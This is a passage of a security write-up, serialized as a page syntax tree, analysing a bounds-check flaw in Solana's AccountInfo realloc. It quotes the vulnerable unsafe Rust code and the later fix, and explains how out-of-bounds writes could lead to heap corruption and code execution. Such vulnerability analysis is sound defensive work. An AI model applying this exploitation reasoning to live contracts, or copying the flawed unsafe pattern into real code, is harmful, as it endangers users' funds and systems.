post_len",{"type":23,"tag":139,"props":14933,"children":14934},{"style":982},[14935],{"type":28,"value":73},{"type":23,"tag":139,"props":14937,"children":14938},{"style":245},[14939],{"type":28,"value":12303},{"type":23,"tag":139,"props":14941,"children":14942},{"style":259},[14943],{"type":28,"value":262},{"type":23,"tag":139,"props":14945,"children":14946},{"style":982},[14947],{"type":28,"value":2573},{"type":23,"tag":139,"props":14949,"children":14950},{"style":294},[14951],{"type":28,"value":14952},"pre_len",{"type":23,"tag":139,"props":14954,"children":14955},{"style":259},[14956],{"type":28,"value":14957},") > MAX_PERMITTED_DATA_INCREASE\n",{"type":23,"tag":139,"props":14959,"children":14960},{"class":141,"line":151},[14961,14966,14970,14974,14979,14983],{"type":23,"tag":139,"props":14962,"children":14963},{"style":982},[14964],{"type":28,"value":14965},"    ||",{"type":23,"tag":139,"props":14967,"children":14968},{"style":294},[14969],{"type":28,"value":14931},{"type":23,"tag":139,"props":14971,"children":14972},{"style":982},[14973],{"type":28,"value":12205},{"type":23,"tag":139,"props":14975,"children":14976},{"style":259},[14977],{"type":28,"value":14978}," MAX_PERMITTED_DATA_LENGTH ",{"type":23,"tag":139,"props":14980,"children":14981},{"style":279},[14982],{"type":28,"value":6847},{"type":23,"tag":139,"props":14984,"children":14985},{"style":305},[14986],{"type":28,"value":14987}," usize\n",{"type":23,"tag":139,"props":14989,"children":14990},{"class":141,"line":160},[14991],{"type":23,"tag":139,"props":14992,"children":14993},{"style":259},[14994],{"type":28,"value":8890},{"type":23,"tag":139,"props":14996,"children":14997},{"class":141,"line":169},[14998,15002,15006,15010,15014,15018,15023],{"type":23,"tag":139,"props":14999,"children":15000},{"style":319},[15001],{"type":28,"value":322},{"type":23,"tag":139,"props":15003,"children":15004},{"style":305},[15005],{"type":28,"value":13760},{"type":23,"tag":139,"props":15007,"children":15008},{"style":259},[15009],{"type":28,"value":262},{"type":23,"tag":139,"props":15011,"children":15012},{"style":305},[15013],{"type":28,"value":13769},{"type":23,"tag":139,"props":15015,"children":15016},{"style":982},[15017],{"type":28,"value":1461},{"type":23,"tag":139,"props":15019,"children":15020},{"style":305},[15021],{"type":28,"value":15022},"InvalidRealloc",{"type":23,"tag":139,"props":15024,"children":15025},{"style":259},[15026],{"type":28,"value":1820},{"type":23,"tag":139,"props":15028,"children":15029},{"class":141,"line":178},[15030],{"type":23,"tag":139,"props":15031,"children":15032},{"style":259},[15033],{"type":28,"value":1897},{"type":23,"tag":24,"props":15035,"children":15036},{},[15037,15039,15044,15046,15051],{"type":28,"value":15038},"But, like the other checks performed by the loader, this check only runs after the contract ",{"type":23,"tag":659,"props":15040,"children":15041},{},[15042],{"type":28,"value":15043},"finishes",{"type":28,"value":15045}," execution. ",{"type":23,"tag":659,"props":15047,"children":15048},{},[15049],{"type":28,"value":15050},"During",{"type":28,"value":15052}," execution, the contract is free to make whatever modifications to memory that it wants, since Solana's eBPF machine doesn't hook memory accesses in any way.",{"type":23,"tag":24,"props":15054,"children":15055},{},[15056,15058,15063,15065,15070,15072,15079],{"type":28,"value":15057},"The end result is that in order to successfully exploit this bug, an attacker needs a way to change the length back to something valid before the program exits. However, with potentially ",{"type":23,"tag":659,"props":15059,"children":15060},{},[15061],{"type":28,"value":15062},"arbitrary",{"type":28,"value":15064}," memory access through a mistakenly-",{"type":23,"tag":135,"props":15066,"children":15068},{"className":15067},[],[15069],{"type":28,"value":11649},{"type":28,"value":15071},"'d account, this falls in the relm of some ",{"type":23,"tag":64,"props":15073,"children":15076},{"href":15074,"rel":15075},"https://en.wikipedia.org/wiki/Buffer_overflow",[68],[15077],{"type":28,"value":15078},"old-school pwning",{"type":28,"value":15080}," - even if we can't use the out-of-bounds access directly, there's plenty of pointers in memory that could be of use.",{"type":23,"tag":666,"props":15082,"children":15084},{"id":15083},"not-contracts",[15085],{"type":28,"value":15086},"Not-contracts?",{"type":23,"tag":24,"props":15088,"children":15089},{},[15090,15092,15097,15099,15109,15111,15123,15125,15132,15134,15139,15141,15146,15148,15161,15163,15168,15170,15175],{"type":28,"value":15091},"Remember when we said that all this code makes sense ",{"type":23,"tag":659,"props":15093,"children":15094},{},[15095],{"type":28,"value":15096},"if the data points to the BPF loader's serialized buffer",{"type":28,"value":15098},"? Well unfortunately for us, there's nothing enforcing that; all the fields on ",{"type":23,"tag":64,"props":15100,"children":15103},{"href":15101,"rel":15102},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html",[68],[15104],{"type":23,"tag":135,"props":15105,"children":15107},{"className":15106},[],[15108],{"type":28,"value":12950},{"type":28,"value":15110}," are public, and so is its ",{"type":23,"tag":64,"props":15112,"children":15115},{"href":15113,"rel":15114},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html#method.new",[68],[15116,15121],{"type":23,"tag":135,"props":15117,"children":15119},{"className":15118},[],[15120],{"type":28,"value":13134},{"type":28,"value":15122}," method",{"type":28,"value":15124}," (which is ",{"type":23,"tag":64,"props":15126,"children":15129},{"href":15127,"rel":15128},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#160-180",[68],[15130],{"type":28,"value":15131},"nothing more than a thin wrapper around just creating the struct literal yourself",{"type":28,"value":15133},"). The ",{"type":23,"tag":135,"props":15135,"children":15137},{"className":15136},[],[15138],{"type":28,"value":11649},{"type":28,"value":15140}," code critically assumes that the memory 8 bytes behind the data buffer is the data's length and that we can write to it however we want when realloc'ing. So, clearly if we were to create an ",{"type":23,"tag":135,"props":15142,"children":15144},{"className":15143},[],[15145],{"type":28,"value":12950},{"type":28,"value":15147}," ourselves - potentially through the ",{"type":23,"tag":64,"props":15149,"children":15152},{"href":15150,"rel":15151},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/trait.Account.html",[68],[15153,15159],{"type":23,"tag":135,"props":15154,"children":15156},{"className":15155},[],[15157],{"type":28,"value":15158},"Account",{"type":28,"value":15160}," trait",{"type":28,"value":15162},", which is hardly documented at all and makes ",{"type":23,"tag":659,"props":15164,"children":15165},{},[15166],{"type":28,"value":15167},"no",{"type":28,"value":15169}," mention of any prerequisites about the nature of the references that need to be returned - we'd run in to problems from pretty much any practical way we'd allocate the ",{"type":23,"tag":135,"props":15171,"children":15173},{"className":15172},[],[15174],{"type":28,"value":1691},{"type":28,"value":15176}," buffer.",{"type":23,"tag":24,"props":15178,"children":15179},{},[15180,15182,15193,15195,15201,15203,15209,15211,15224,15226,15231,15233,15238,15240,15245,15247,15252,15254,15259,15261,15266],{"type":28,"value":15181},"One long arm of this is ",{"type":23,"tag":64,"props":15183,"children":15186},{"href":15184,"rel":15185},"https://docs.rs/solana-sdk/1.10.28/solana_sdk/account/struct.Account.html",[68],[15187],{"type":23,"tag":135,"props":15188,"children":15190},{"className":15189},[],[15191],{"type":28,"value":15192},"solana_sdk::account::Account",{"type":28,"value":15194}," - in the client SDK. It holds an account's data in a ",{"type":23,"tag":135,"props":15196,"children":15198},{"className":15197},[],[15199],{"type":28,"value":15200},"Vec\u003Cu8>",{"type":28,"value":15202},", and it implements ",{"type":23,"tag":135,"props":15204,"children":15206},{"className":15205},[],[15207],{"type":28,"value":15208},"solana_program::account_info::Account",{"type":28,"value":15210}," (the trait from earlier) - by ",{"type":23,"tag":64,"props":15212,"children":15215},{"href":15213,"rel":15214},"https://docs.rs/solana-sdk/1.10.28/src/solana_sdk/account.rs.html#661-669",[68],[15216,15218],{"type":28,"value":15217},"returning a reference to the contents of that ",{"type":23,"tag":135,"props":15219,"children":15221},{"className":15220},[],[15222],{"type":28,"value":15223},"Vec",{"type":28,"value":15225},". So, ",{"type":23,"tag":135,"props":15227,"children":15229},{"className":15228},[],[15230],{"type":28,"value":11649},{"type":28,"value":15232}," writes the size into the 8 bytes right before ",{"type":23,"tag":135,"props":15234,"children":15236},{"className":15235},[],[15237],{"type":28,"value":1691},{"type":28,"value":15239},"; ",{"type":23,"tag":135,"props":15241,"children":15243},{"className":15242},[],[15244],{"type":28,"value":1691},{"type":28,"value":15246}," is the buffer of a ",{"type":23,"tag":135,"props":15248,"children":15250},{"className":15249},[],[15251],{"type":28,"value":15223},{"type":28,"value":15253},", and so it is the contents of a heap allocation; and, immediately before a heap allocation sits critical metadata. The result? If, for some reason, you construct an ",{"type":23,"tag":135,"props":15255,"children":15257},{"className":15256},[],[15258],{"type":28,"value":12950},{"type":28,"value":15260}," out of an SDK ",{"type":23,"tag":135,"props":15262,"children":15264},{"className":15263},[],[15265],{"type":28,"value":15158},{"type":28,"value":15267}," and then realloc it (which admittedly is quite a stretch), then you get heap corruption - something that's very likely to lead to remote code execution.",{"type":23,"tag":41,"props":15269,"children":15271},{"id":15270},"remediation",[15272],{"type":28,"value":15273},"Remediation",{"type":23,"tag":24,"props":15275,"children":15276},{},[15277],{"type":28,"value":15278},"Obviously the fix for the main issue at hand is to check that the resize operation remains in-bounds. But how do we know how big is too big?",{"type":23,"tag":24,"props":15280,"children":15281},{},[15282,15284,15289,15291,15296,15298,15309,15311,15316,15318,15325],{"type":28,"value":15283},"The sensible thing to do would be to store the initial size in the ",{"type":23,"tag":135,"props":15285,"children":15287},{"className":15286},[],[15288],{"type":28,"value":12950},{"type":28,"value":15290},"... except for the fact that the layout of ",{"type":23,"tag":135,"props":15292,"children":15294},{"className":15293},[],[15295],{"type":28,"value":12950},{"type":28,"value":15297}," is actually part of the ABI between the contract runtime and the loader :face_palm:",{"type":23,"tag":636,"props":15299,"children":15300},{},[15301],{"type":23,"tag":64,"props":15302,"children":15306},{"href":15303,"ariaDescribedBy":15304,"dataFootnoteRef":7,"id":15305},"#user-content-fn-layout",[643],"user-content-fnref-layout",[15307],{"type":28,"value":15308},"3",{"type":28,"value":15310}," So, with changing ",{"type":23,"tag":135,"props":15312,"children":15314},{"className":15313},[],[15315],{"type":28,"value":12950},{"type":28,"value":15317}," out of the question, the Solana team came up with a different place to stash the information: inside a section of padding in the serialized buffer passed from the runtime. This happened to be next to where the pubkey was stored, which resulted in the creation of ",{"type":23,"tag":64,"props":15319,"children":15322},{"href":15320,"rel":15321},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#74-85",[68],[15323],{"type":28,"value":15324},"this function",{"type":28,"value":2493},{"type":23,"tag":128,"props":15327,"children":15329},{"className":948,"code":15328,"language":947,"meta":7,"style":7},"/// Return the account's original data length when it was serialized for the\n/// current program invocation.\n///\n/// # Safety\n///\n/// This method assumes that the original data length was serialized as a u32\n/// integer in the 4 bytes immediately preceding the serialized account key.\npub unsafe fn original_data_len(&self) -> usize {\n    let key_ptr = self.key as *const _ as *const u8;\n    let original_data_len_ptr = key_ptr.offset(-4) as *const u32;\n    *original_data_len_ptr as usize\n}\n",[15330],{"type":23,"tag":135,"props":15331,"children":15332},{"__ignoreMap":7},[15333,15341,15349,15357,15365,15372,15380,15388,15436,15501,15567,15588],{"type":23,"tag":139,"props":15334,"children":15335},{"class":141,"line":142},[15336],{"type":23,"tag":139,"props":15337,"children":15338},{"style":958},[15339],{"type":28,"value":15340},"/// Return the account's original data length when it was serialized for the\n",{"type":23,"tag":139,"props":15342,"children":15343},{"class":141,"line":151},[15344],{"type":23,"tag":139,"props":15345,"children":15346},{"style":958},[15347],{"type":28,"value":15348},"/// current program invocation.\n",{"type":23,"tag":139,"props":15350,"children":15351},{"class":141,"line":160},[15352],{"type":23,"tag":139,"props":15353,"children":15354},{"style":958},[15355],{"type":28,"value":15356},"///\n",{"type":23,"tag":139,"props":15358,"children":15359},{"class":141,"line":169},[15360],{"type":23,"tag":139,"props":15361,"children":15362},{"style":958},[15363],{"type":28,"value":15364},"/// # Safety\n",{"type":23,"tag":139,"props":15366,"children":15367},{"class":141,"line":178},[15368],{"type":23,"tag":139,"props":15369,"children":15370},{"style":958},[15371],{"type":28,"value":15356},{"type":23,"tag":139,"props":15373,"children":15374},{"class":141,"line":187},[15375],{"type":23,"tag":139,"props":15376,"children":15377},{"style":958},[15378],{"type":28,"value":15379},"/// This method assumes that the original data length was serialized as a u32\n",{"type":23,"tag":139,"props":15381,"children":15382},{"class":141,"line":196},[15383],{"type":23,"tag":139,"props":15384,"children":15385},{"style":958},[15386],{"type":28,"value":15387},"/// integer in the 4 bytes immediately preceding the serialized account key.\n",{"type":23,"tag":139,"props":15389,"children":15390},{"class":141,"line":205},[15391,15395,15399,15403,15408,15412,15416,15420,15424,15428,15432],{"type":23,"tag":139,"props":15392,"children":15393},{"style":279},[15394],{"type":28,"value":11701},{"type":23,"tag":139,"props":15396,"children":15397},{"style":279},[15398],{"type":28,"value":12601},{"type":23,"tag":139,"props":15400,"children":15401},{"style":279},[15402],{"type":28,"value":11706},{"type":23,"tag":139,"props":15404,"children":15405},{"style":245},[15406],{"type":28,"value":15407}," original_data_len",{"type":23,"tag":139,"props":15409,"children":15410},{"style":259},[15411],{"type":28,"value":262},{"type":23,"tag":139,"props":15413,"children":15414},{"style":982},[15415],{"type":28,"value":1085},{"type":23,"tag":139,"props":15417,"children":15418},{"style":279},[15419],{"type":28,"value":11724},{"type":23,"tag":139,"props":15421,"children":15422},{"style":259},[15423],{"type":28,"value":1062},{"type":23,"tag":139,"props":15425,"children":15426},{"style":982},[15427],{"type":28,"value":11768},{"type":23,"tag":139,"props":15429,"children":15430},{"style":305},[15431],{"type":28,"value":11742},{"type":23,"tag":139,"props":15433,"children":15434},{"style":259},[15435],{"type":28,"value":1268},{"type":23,"tag":139,"props":15437,"children":15438},{"class":141,"line":214},[15439,15443,15448,15452,15456,15460,15465,15469,15473,15477,15481,15485,15489,15493,15497],{"type":23,"tag":139,"props":15440,"children":15441},{"style":279},[15442],{"type":28,"value":969},{"type":23,"tag":139,"props":15444,"children":15445},{"style":294},[15446],{"type":28,"value":15447}," key_ptr",{"type":23,"tag":139,"props":15449,"children":15450},{"style":982},[15451],{"type":28,"value":985},{"type":23,"tag":139,"props":15453,"children":15454},{"style":279},[15455],{"type":28,"value":11808},{"type":23,"tag":139,"props":15457,"children":15458},{"style":982},[15459],{"type":28,"value":73},{"type":23,"tag":139,"props":15461,"children":15462},{"style":259},[15463],{"type":28,"value":15464},"key ",{"type":23,"tag":139,"props":15466,"children":15467},{"style":279},[15468],{"type":28,"value":6847},{"type":23,"tag":139,"props":15470,"children":15471},{"style":982},[15472],{"type":28,"value":7825},{"type":23,"tag":139,"props":15474,"children":15475},{"style":279},[15476],{"type":28,"value":7663},{"type":23,"tag":139,"props":15478,"children":15479},{"style":294},[15480],{"type":28,"value":1008},{"type":23,"tag":139,"props":15482,"children":15483},{"style":279},[15484],{"type":28,"value":6833},{"type":23,"tag":139,"props":15486,"children":15487},{"style":982},[15488],{"type":28,"value":7825},{"type":23,"tag":139,"props":15490,"children":15491},{"style":279},[15492],{"type":28,"value":7663},{"type":23,"tag":139,"props":15494,"children":15495},{"style":305},[15496],{"type":28,"value":12645},{"type":23,"tag":139,"props":15498,"children":15499},{"style":259},[15500],{"type":28,"value":995},{"type":23,"tag":139,"props":15502,"children":15503},{"class":141,"line":1320},[15504,15508,15513,15517,15521,15525,15529,15533,15537,15542,15546,15550,15554,15558,15563],{"type":23,"tag":139,"props":15505,"children":15506},{"style":279},[15507],{"type":28,"value":969},{"type":23,"tag":139,"props":15509,"children":15510},{"style":294},[15511],{"type":28,"value":15512}," original_data_len_ptr",{"type":23,"tag":139,"props":15514,"children":15515},{"style":982},[15516],{"type":28,"value":985},{"type":23,"tag":139,"props":15518,"children":15519},{"style":294},[15520],{"type":28,"value":15447},{"type":23,"tag":139,"props":15522,"children":15523},{"style":982},[15524],{"type":28,"value":73},{"type":23,"tag":139,"props":15526,"children":15527},{"style":245},[15528],{"type":28,"value":11912},{"type":23,"tag":139,"props":15530,"children":15531},{"style":259},[15532],{"type":28,"value":262},{"type":23,"tag":139,"props":15534,"children":15535},{"style":982},[15536],{"type":28,"value":2328},{"type":23,"tag":139,"props":15538,"children":15539},{"style":1016},[15540],{"type":28,"value":15541},"4",{"type":23,"tag":139,"props":15543,"children":15544},{"style":259},[15545],{"type":28,"value":1062},{"type":23,"tag":139,"props":15547,"children":15548},{"style":279},[15549],{"type":28,"value":6847},{"type":23,"tag":139,"props":15551,"children":15552},{"style":982},[15553],{"type":28,"value":7825},{"type":23,"tag":139,"props":15555,"children":15556},{"style":279},[15557],{"type":28,"value":7663},{"type":23,"tag":139,"props":15559,"children":15560},{"style":305},[15561],{"type":28,"value":15562}," u32",{"type":23,"tag":139,"props":15564,"children":15565},{"style":259},[15566],{"type":28,"value":995},{"type":23,"tag":139,"props":15568,"children":15569},{"class":141,"line":1329},[15570,15575,15580,15584],{"type":23,"tag":139,"props":15571,"children":15572},{"style":982},[15573],{"type":28,"value":15574},"    *",{"type":23,"tag":139,"props":15576,"children":15577},{"style":294},[15578],{"type":28,"value":15579},"original_data_len_ptr",{"type":23,"tag":139,"props":15581,"children":15582},{"style":279},[15583],{"type":28,"value":6833},{"type":23,"tag":139,"props":15585,"children":15586},{"style":305},[15587],{"type":28,"value":14987},{"type":23,"tag":139,"props":15589,"children":15590},{"class":141,"line":1580},[15591],{"type":23,"tag":139,"props":15592,"children":15593},{"style":259},[15594],{"type":28,"value":1897},{"type":23,"tag":24,"props":15596,"children":15597},{},[15598,15600,15605,15607,15612,15614,15619,15621,15626,15628,15635,15637,15644,15645,15652,15653,15660,15661,15668],{"type":28,"value":15599},"It's marked ",{"type":23,"tag":135,"props":15601,"children":15603},{"className":15602},[],[15604],{"type":28,"value":12367},{"type":28,"value":15606},", properly documented, but there's just one problem: we need this for ",{"type":23,"tag":135,"props":15608,"children":15610},{"className":15609},[],[15611],{"type":28,"value":11649},{"type":28,"value":15613},", which originally was not ",{"type":23,"tag":135,"props":15615,"children":15617},{"className":15616},[],[15618],{"type":28,"value":12367},{"type":28,"value":15620},". So, in the name of not breaking API compatibility, the Solana team just threw the call in an ",{"type":23,"tag":135,"props":15622,"children":15624},{"className":15623},[],[15625],{"type":28,"value":12367},{"type":28,"value":15627}," block and added ",{"type":23,"tag":64,"props":15629,"children":15632},{"href":15630,"rel":15631},"https://docs.rs/solana-program/1.10.30/solana_program/account_info/struct.AccountInfo.html#safety-1",[68],[15633],{"type":28,"value":15634},"a doc comment",{"type":28,"value":15636}," - adding to the ",{"type":23,"tag":64,"props":15638,"children":15641},{"href":15639,"rel":15640},"https://docs.rs/solana-program/1.10.30/solana_program/program/fn.invoke_signed_unchecked.html#safety",[68],[15642],{"type":28,"value":15643},"small",{"type":28,"value":471},{"type":23,"tag":64,"props":15646,"children":15649},{"href":15647,"rel":15648},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcpy.html#safety",[68],[15650],{"type":28,"value":15651},"pile",{"type":28,"value":471},{"type":23,"tag":64,"props":15654,"children":15657},{"href":15655,"rel":15656},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memset.html#safety",[68],[15658],{"type":28,"value":15659},"of",{"type":28,"value":471},{"type":23,"tag":64,"props":15662,"children":15665},{"href":15663,"rel":15664},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcmp.html#safety",[68],[15666],{"type":28,"value":15667},"functions",{"type":28,"value":15669}," that are actually unsafe but aren't marked as such for API compatibility reasons (and the last three - all related to each other - don't even have the comment until version 1.11, which isn't even on mainnet as of the time of writing).",{"type":23,"tag":41,"props":15671,"children":15673},{"id":15672},"towards-safer-unsafe",[15674,15676],{"type":28,"value":15675},"Towards safer ",{"type":23,"tag":135,"props":15677,"children":15679},{"className":15678},[],[15680],{"type":28,"value":12367},{"type":23,"tag":24,"props":15682,"children":15683},{},[15684,15686,15691,15693,15698,15700,15707],{"type":28,"value":15685},"Let's circle back to that main ",{"type":23,"tag":135,"props":15687,"children":15689},{"className":15688},[],[15690],{"type":28,"value":12367},{"type":28,"value":15692}," block inside ",{"type":23,"tag":135,"props":15694,"children":15696},{"className":15695},[],[15697],{"type":28,"value":11649},{"type":28,"value":15699}," for a bit, shall we? As a reminder, it looks like ",{"type":23,"tag":64,"props":15701,"children":15704},{"href":15702,"rel":15703},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#127-136",[68],[15705],{"type":28,"value":15706},"this",{"type":28,"value":2493},{"type":23,"tag":128,"props":15709,"children":15711},{"className":948,"code":15710,"language":947,"meta":7,"style":7},"// realloc\nunsafe {\n    // First set new length in the serialized data\n    let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n    *ptr = new_len as u64;\n\n    // Then set the new length in the local slice\n    let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n    *ptr = new_len as u64;\n}\n",[15712],{"type":23,"tag":135,"props":15713,"children":15714},{"__ignoreMap":7},[15715,15723,15734,15742,15829,15860,15867,15875,16002,16033],{"type":23,"tag":139,"props":15716,"children":15717},{"class":141,"line":142},[15718],{"type":23,"tag":139,"props":15719,"children":15720},{"style":958},[15721],{"type":28,"value":15722},"// realloc\n",{"type":23,"tag":139,"props":15724,"children":15725},{"class":141,"line":151},[15726,15730],{"type":23,"tag":139,"props":15727,"children":15728},{"style":279},[15729],{"type":28,"value":12367},{"type":23,"tag":139,"props":15731,"children":15732},{"style":259},[15733],{"type":28,"value":1268},{"type":23,"tag":139,"props":15735,"children":15736},{"class":141,"line":160},[15737],{"type":23,"tag":139,"props":15738,"children":15739},{"style":958},[15740],{"type":28,"value":15741},"    // First set new length in the serialized data\n",{"type":23,"tag":139,"props":15743,"children":15744},{"class":141,"line":169},[15745,15749,15753,15757,15761,15765,15769,15773,15777,15781,15785,15789,15793,15797,15801,15805,15809,15813,15817,15821,15825],{"type":23,"tag":139,"props":15746,"children":15747},{"style":279},[15748],{"type":28,"value":969},{"type":23,"tag":139,"props":15750,"children":15751},{"style":294},[15752],{"type":28,"value":11868},{"type":23,"tag":139,"props":15754,"children":15755},{"style":982},[15756],{"type":28,"value":985},{"type":23,"tag":139,"props":15758,"children":15759},{"style":279},[15760],{"type":28,"value":11808},{"type":23,"tag":139,"props":15762,"children":15763},{"style":982},[15764],{"type":28,"value":73},{"type":23,"tag":139,"props":15766,"children":15767},{"style":245},[15768],{"type":28,"value":11885},{"type":23,"tag":139,"props":15770,"children":15771},{"style":259},[15772],{"type":28,"value":11890},{"type":23,"tag":139,"props":15774,"children":15775},{"style":982},[15776],{"type":28,"value":1109},{"type":23,"tag":139,"props":15778,"children":15779},{"style":245},[15780],{"type":28,"value":11899},{"type":23,"tag":139,"props":15782,"children":15783},{"style":259},[15784],{"type":28,"value":11890},{"type":23,"tag":139,"props":15786,"children":15787},{"style":982},[15788],{"type":28,"value":73},{"type":23,"tag":139,"props":15790,"children":15791},{"style":245},[15792],{"type":28,"value":11912},{"type":23,"tag":139,"props":15794,"children":15795},{"style":259},[15796],{"type":28,"value":262},{"type":23,"tag":139,"props":15798,"children":15799},{"style":982},[15800],{"type":28,"value":2328},{"type":23,"tag":139,"props":15802,"children":15803},{"style":1016},[15804],{"type":28,"value":2075},{"type":23,"tag":139,"props":15806,"children":15807},{"style":259},[15808],{"type":28,"value":1062},{"type":23,"tag":139,"props":15810,"children":15811},{"style":279},[15812],{"type":28,"value":6847},{"type":23,"tag":139,"props":15814,"children":15815},{"style":982},[15816],{"type":28,"value":7825},{"type":23,"tag":139,"props":15818,"children":15819},{"style":279},[15820],{"type":28,"value":1713},{"type":23,"tag":139,"props":15822,"children":15823},{"style":305},[15824],{"type":28,"value":3862},{"type":23,"tag":139,"props":15826,"children":15827},{"style":259},[15828],{"type":28,"value":995},{"type":23,"tag":139,"props":15830,"children":15831},{"class":141,"line":178},[15832,15836,15840,15844,15848,15852,15856],{"type":23,"tag":139,"props":15833,"children":15834},{"style":982},[15835],{"type":28,"value":15574},{"type":23,"tag":139,"props":15837,"children":15838},{"style":294},[15839],{"type":28,"value":11960},{"type":23,"tag":139,"props":15841,"children":15842},{"style":982},[15843],{"type":28,"value":985},{"type":23,"tag":139,"props":15845,"children":15846},{"style":294},[15847],{"type":28,"value":11969},{"type":23,"tag":139,"props":15849,"children":15850},{"style":279},[15851],{"type":28,"value":6833},{"type":23,"tag":139,"props":15853,"children":15854},{"style":305},[15855],{"type":28,"value":3862},{"type":23,"tag":139,"props":15857,"children":15858},{"style":259},[15859],{"type":28,"value":995},{"type":23,"tag":139,"props":15861,"children":15862},{"class":141,"line":187},[15863],{"type":23,"tag":139,"props":15864,"children":15865},{"emptyLinePlaceholder":15},[15866],{"type":28,"value":184},{"type":23,"tag":139,"props":15868,"children":15869},{"class":141,"line":196},[15870],{"type":23,"tag":139,"props":15871,"children":15872},{"style":958},[15873],{"type":28,"value":15874},"    // Then set the new length in the local slice\n",{"type":23,"tag":139,"props":15876,"children":15877},{"class":141,"line":205},[15878,15882,15886,15890,15894,15898,15902,15906,15910,15914,15918,15922,15926,15930,15934,15938,15942,15946,15950,15954,15958,15962,15966,15970,15974,15978,15982,15986,15990,15994,15998],{"type":23,"tag":139,"props":15879,"children":15880},{"style":279},[15881],{"type":28,"value":969},{"type":23,"tag":139,"props":15883,"children":15884},{"style":294},[15885],{"type":28,"value":11868},{"type":23,"tag":139,"props":15887,"children":15888},{"style":982},[15889],{"type":28,"value":985},{"type":23,"tag":139,"props":15891,"children":15892},{"style":982},[15893],{"type":28,"value":5144},{"type":23,"tag":139,"props":15895,"children":15896},{"style":279},[15897],{"type":28,"value":1713},{"type":23,"tag":139,"props":15899,"children":15900},{"style":982},[15901],{"type":28,"value":7825},{"type":23,"tag":139,"props":15903,"children":15904},{"style":259},[15905],{"type":28,"value":12028},{"type":23,"tag":139,"props":15907,"children":15908},{"style":279},[15909],{"type":28,"value":11724},{"type":23,"tag":139,"props":15911,"children":15912},{"style":982},[15913],{"type":28,"value":73},{"type":23,"tag":139,"props":15915,"children":15916},{"style":259},[15917],{"type":28,"value":1691},{"type":23,"tag":139,"props":15919,"children":15920},{"style":982},[15921],{"type":28,"value":73},{"type":23,"tag":139,"props":15923,"children":15924},{"style":245},[15925],{"type":28,"value":12049},{"type":23,"tag":139,"props":15927,"children":15928},{"style":259},[15929],{"type":28,"value":12054},{"type":23,"tag":139,"props":15931,"children":15932},{"style":279},[15933],{"type":28,"value":6847},{"type":23,"tag":139,"props":15935,"children":15936},{"style":982},[15937],{"type":28,"value":7825},{"type":23,"tag":139,"props":15939,"children":15940},{"style":279},[15941],{"type":28,"value":7663},{"type":23,"tag":139,"props":15943,"children":15944},{"style":305},[15945],{"type":28,"value":3862},{"type":23,"tag":139,"props":15947,"children":15948},{"style":259},[15949],{"type":28,"value":1104},{"type":23,"tag":139,"props":15951,"children":15952},{"style":982},[15953],{"type":28,"value":73},{"type":23,"tag":139,"props":15955,"children":15956},{"style":245},[15957],{"type":28,"value":11912},{"type":23,"tag":139,"props":15959,"children":15960},{"style":259},[15961],{"type":28,"value":262},{"type":23,"tag":139,"props":15963,"children":15964},{"style":1016},[15965],{"type":28,"value":647},{"type":23,"tag":139,"props":15967,"children":15968},{"style":259},[15969],{"type":28,"value":1062},{"type":23,"tag":139,"props":15971,"children":15972},{"style":279},[15973],{"type":28,"value":6847},{"type":23,"tag":139,"props":15975,"children":15976},{"style":305},[15977],{"type":28,"value":3862},{"type":23,"tag":139,"props":15979,"children":15980},{"style":259},[15981],{"type":28,"value":1062},{"type":23,"tag":139,"props":15983,"children":15984},{"style":279},[15985],{"type":28,"value":6847},{"type":23,"tag":139,"props":15987,"children":15988},{"style":982},[15989],{"type":28,"value":7825},{"type":23,"tag":139,"props":15991,"children":15992},{"style":279},[15993],{"type":28,"value":1713},{"type":23,"tag":139,"props":15995,"children":15996},{"style":305},[15997],{"type":28,"value":3862},{"type":23,"tag":139,"props":15999,"children":16000},{"style":259},[16001],{"type":28,"value":1820},{"type":23,"tag":139,"props":16003,"children":16004},{"class":141,"line":214},[16005,16009,16013,16017,16021,16025,16029],{"type":23,"tag":139,"props":16006,"children":16007},{"style":982},[16008],{"type":28,"value":15574},{"type":23,"tag":139,"props":16010,"children":16011},{"style":294},[16012],{"type":28,"value":11960},{"type":23,"tag":139,"props":16014,"children":16015},{"style":982},[16016],{"type":28,"value":985},{"type":23,"tag":139,"props":16018,"children":16019},{"style":294},[16020],{"type":28,"value":11969},{"type":23,"tag":139,"props":16022,"children":16023},{"style":279},[16024],{"type":28,"value":6833},{"type":23,"tag":139,"props":16026,"children":16027},{"style":305},[16028],{"type":28,"value":3862},{"type":23,"tag":139,"props":16030,"children":16031},{"style":259},[16032],{"type":28,"value":995},{"type":23,"tag":139,"props":16034,"children":16035},{"class":141,"line":1320},[16036],{"type":23,"tag":139,"props":16037,"children":16038},{"style":259},[16039],{"type":28,"value":1897},{"type":23,"tag":24,"props":16041,"children":16042},{},[16043,16045,16050],{"type":28,"value":16044},"We've seen how we could have ran into all sorts of issues here, with the usage of slice layout details, the reborrow creating an unbounded lifetime, and the ",{"type":23,"tag":135,"props":16046,"children":16048},{"className":16047},[],[16049],{"type":28,"value":13514},{"type":28,"value":16051}," borrow not accurately representing the actual usage of its contents. We can do better than this.",{"type":23,"tag":24,"props":16053,"children":16054},{},[16055,16057,16062,16064,16069,16071,16076,16078,16083,16085,16090,16092,16098,16100,16110,16112,16123],{"type":28,"value":16056},"First, let's deal with the ",{"type":23,"tag":135,"props":16058,"children":16060},{"className":16059},[],[16061],{"type":28,"value":13514},{"type":28,"value":16063}," borrowing issue. When we ",{"type":23,"tag":135,"props":16065,"children":16067},{"className":16066},[],[16068],{"type":28,"value":11885},{"type":28,"value":16070},", we get a ",{"type":23,"tag":135,"props":16072,"children":16074},{"className":16073},[],[16075],{"type":28,"value":14754},{"type":28,"value":16077}," back, which represents our borrow of the 